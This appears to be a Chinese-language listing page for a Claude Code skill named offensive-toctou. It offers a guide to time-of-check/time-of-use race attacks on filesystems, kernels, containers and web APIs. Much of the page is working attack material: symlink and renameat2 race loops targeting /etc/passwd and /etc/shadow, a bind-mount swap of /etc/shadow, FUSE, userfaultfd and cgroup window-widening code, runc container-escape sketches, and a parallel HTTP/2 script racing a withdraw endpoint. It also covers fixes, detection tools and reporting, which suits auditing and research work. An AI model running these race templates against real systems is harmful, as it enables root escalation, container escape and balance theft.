关于 offensive-toctou
面向安全研究人员和代码审计者的 TOCTOU 攻击技巧指南,涵盖文件系统、内核、容器及 Web/API 场景,并介绍竞态窗口扩展、检测和报告方法。
主要功能
- 01识别检查与使用之间的竞态
- 02文件系统与 setuid 攻击方法
- 03内核双重取值与 procfs 竞态
- 04容器逃逸及 Web/API 竞态案例
- 05窗口扩展、检测与报告指导
适用场景
- 01审计重复解析用户控制路径的程序
- 02测试配额、授权或长任务中的竞态
- 03分析容器运行时的路径与文件描述符风险
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-toctou安装后在 Claude Code 中输入/offensive-toctou确认已加载。
详细介绍
TOCTOU — 检查时 / 使用时漏洞利用
凡是代码检查某项属性(文件所有者、路径目标、令牌有效性、余额),然后就假定该属性仍然成立并据此采取行动的地方,都可能存在 TOCTOU 漏洞。检查与使用之间存在一个窗口——你的任务是扩大这个窗口,并替换底层对象。
快速工作流
- 找出检查(系统调用、函数、验证步骤)和使用(特权操作)
- 确认检查和使用操作的不是同一个内核对象(FD、inode、原子快照)
- 构建一个能在检查与使用之间替换对象的原语(符号链接、挂载、mv、并行请求)
- 扩大窗口,使用 FUSE、慢速文件系统、调度器技巧或单包 HTTP/2
- 密集循环运行,并确认使用后的状态对应于被替换的目标
核心模式
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}
在 access 和 open 之间,攻击者将 path 替换为指向 /etc/shadow 的符号链接。检查看到的是攻击者拥有的文件;使用时则以 root 身份打开 shadow。
修复方法始终是:操作内核对象,而不是路径。 使用 O_NOFOLLOW、通过 AT_SYMLINK_NOFOLLOW 调用 openat、对 FD 调用 fstat 等。
文件系统 TOCTOU
符号链接替换(经典方式)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done
renameat2(RENAME_EXCHANGE) — 原子单帧替换
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);
RENAME_EXCHANGE 会原子地交换两个路径——结合通过 FUSE 暂停目录查找,这是 Linux ≥ 3.15 上近乎确定性的攻击原语。
目录替换(在两个预先准备好的目录树之间执行 mv)
当受害进程解析 parent/file 时,替换 parent 本身:
mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side
绑定挂载 / 挂载命名空间替换(仅限 root 或在用户命名空间中)
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done
在具有用户命名空间内 CAP_SYS_ADMIN 的容器化环境中,这是多个 runc/CVE 逃逸链的基础。
扩大窗口的原语
理论上,总能赢得竞态;但在实践中,你需要足够大的窗口来完成替换。
基于 FUSE 的慢速文件系统
挂载一个由你控制的 FUSE 文件系统。当受害进程执行 open 或 stat 时,让你的处理程序休眠:
# fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).__dict__
现在,受害进程中的检查调用会阻塞 5 秒——足以替换检查后的文件名。
Userfaultfd(内核级缺页)
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);
userfaultfd 可以在内核侧的 copy_from_user 读取过程中暂停它,从而实现双重取值攻击。Linux ≥ 5.11 要求设置 vm.unprivileged_userfaultfd=1(许多发行版默认关闭)。
冻结 Cgroup
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume
绑定单个 CPU + sched_yield
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit
内核双重取值
内核函数两次读取同一个用户空间位置;攻击者使用 userfaultfd 或另一个线程在两次读取之间修改该位置。
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully.
工具:KFENCE、Bochspwn-Reloaded、DECAF——用于检测双重取值的模糊测试器和分析器。
/proc 和 procfs 竞态
/proc/pid/exe + ptrace
/proc/<pid>/exe 是一个魔法符号链接。如果特权二进制文件在 fork+exec 之后打开它,攻击者就能在 exec 竞态中让 exe 指向攻击者控制的慢速文件系统上的二进制文件。这是 CVE-2019-5736(runc)的基础。
// Sketch
fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE
/proc/pid/mem
open("/proc/pid/mem") 后接 lseek+write,历史上曾可绕过写入保护。现代内核会在写入时检查 ptrace 凭据,但旧版内核或移除了这些检查的嵌入式内核中仍然存在此问题。
/proc/pid/cwd / fd / root
符号链接会在解引用时使用目标任务的命名空间进行解析。从同级容器跨命名空间解引用 /proc/pid/root/etc/shadow 是反复出现的一类漏洞。
Setuid 二进制文件 TOCTOU
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) { // check with real UID via access()
fd = open(file, O_RDONLY); // open with effective UID = root
sendfile(stdout, fd, ...);
}
在 access 和 open 之间替换符号链接,会使该二进制文件为非特权用户读取只有 root 才能读取的文件。
审查 setuid/setgid 二进制文件时的经验法则: 系统调用跟踪中出现两次的每个路径都是候选目标。
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface
通过 TOCTOU 逃逸容器
CVE-2019-5736 (runc) — 覆写 /proc/self/exe
当容器运行 docker exec 时,runc 会打开主机上的 /proc/self/exe。通过将容器内的二进制文件替换为指向 /proc/self/exe 的符号链接,主机上的 runc 就会覆写自身。
CVE-2024-21626 (runc "Leaky Vessels") — 工作目录文件描述符泄漏
指向主机文件系统的文件描述符可能会通过 WORKDIR /proc/self/fd/<n> 被继承——容器的首个进程持有主机文件描述符,在命名空间设置期间发生的竞争可使其操作主机路径。
挂载上的符号链接竞争
当运行时解析绑定挂载的源路径/目标路径(例如设置 tmpfs 时),攻击者会迅速将路径中的目录替换为指向 / 的符号链接。这种情况在 Kubernetes hostPath、Docker 卷和绕过 OpenShift SCC 的攻击中很常见。
Web/API TOCTOU
网关上的身份验证与授权分离
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header
如果 JWT 在网关缓存与网关验证之间被撤销,或者网关缓存“有效”结果的时间过长,就会导致撤销后的访问。缓存键混淆(不同的网关节点)会扩大这个时间窗口。
长时间运行的操作跳过权限复查
# Vulnerable
def long_export(user, resource_id):
check_access(user, resource_id) # check
data = stream_resource(resource_id) # use — minutes long
return data # access could have been revoked mid-stream
测试:在下载进行期间撤销访问权限;如果数据仍在传输,就说明缺少复查。
使用不同请求正文重用幂等键
POST /api/withdraw Idempotency-Key: K1 { "amount": 1 }
POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different body
许多实现只按键而非按键和正文哈希进行索引 → 第二个请求会返回第一个请求的响应,同时仍处理第二次扣款。
单数据包多请求
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".
自 2023 年以来,这是 Web TOCTOU 的标准手法;旧式的 httpie ... & 并行方式已经过时。
限额/配额 TOCTOU
# Vulnerable
if user.balance >= amount: # check
user.balance -= amount # use — non-atomic read-modify-write
pay(user, amount)
并行发送 N 个请求,每个请求看到的都是扣减前的相同余额。修复方法:使用带约束的原子扣减(UPDATE ... WHERE balance >= amount)。
移动端/二进制测试手册
Android:Intent 重定向 TOCTOU
Activity 使用 getCallingPackage() 检查调用方软件包,然后通过 Intent 分发——在检查与分发之间,攻击者会替换底层 ContentProvider URI 的 authority 解析结果。
iOS:NSXPC 审计令牌混淆
每次处理 XPC 消息时,都应在开始时捕获 audit_token_t。如果服务只捕获一次并重复使用,攻击者就可以利用 PID 重用竞争来冒充他人。
检测与工具
| 工具 | 层级 | 用途 |
|---|---|---|
strace -e trace=file -f | Linux 系统调用 | 查找重复的路径解析 |
bpftrace / bcc | 内核 | 大规模探测特定系统调用的参数 |
| ThreadSanitizer (TSan) | 用户空间 C/C++ | 编译时竞争检测 |
| Helgrind / DRD | 用户空间 | Pthread 竞争检测 |
| Bochspwn-Reloaded | 内核 | 双重取值检测 |
syzkaller | 内核 | 覆盖率引导的竞争模糊测试 |
| Burp Suite(Repeater 单数据包) | Web/HTTP | 并发请求竞争 |
racepwn | Web | 多线程与计时测试框架 |
Turbo Intruder | Web | 流水线并行请求 |
# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \
sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidates
竞争循环模板
文件系统(C)
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
pid_t p = fork();
if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
for(;;) execve(victim, args, env);
}
Web(Python — 单数据包 HTTP/2)
# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
async with httpx.AsyncClient(http2=True) as c:
async with anyio.create_task_group() as tg:
for _ in range(30):
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)
若要在 TLS 上获得实际的可靠性,建议使用 Burp 的单数据包功能——它会构造 HTTP/2 最后字节同步。
报告/严重性
TOCTOU 问题的严重性取决于:时间窗口大小(确定性还是概率性)、所需的相邻权限(本地用户/容器/经过身份验证的远程用户),以及使用后的原语(文件写入、绕过身份验证、资金)。一旦与扩大时间窗口的原语链式组合,“万分之一概率的竞争可获得 root 权限”与“确定性竞争可获得 root 权限”就是同一个问题。始终应展示:
- 最小复现程序
- 使用的时间窗口扩大方法
- 观察到的成功率
- 实现的利用后原语
关键参考资料
- MITRE CWE-367 (TOCTOU)、CWE-362 (Race Condition)
- USENIX Security:“FUSE for Profit”——扩大 TOCTOU 时间窗口
- PortSwigger Research:“Smashing the state machine”(单数据包 HTTP/2 攻击)
- runc CVE-2019-5736、CVE-2024-21626 安全公告
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md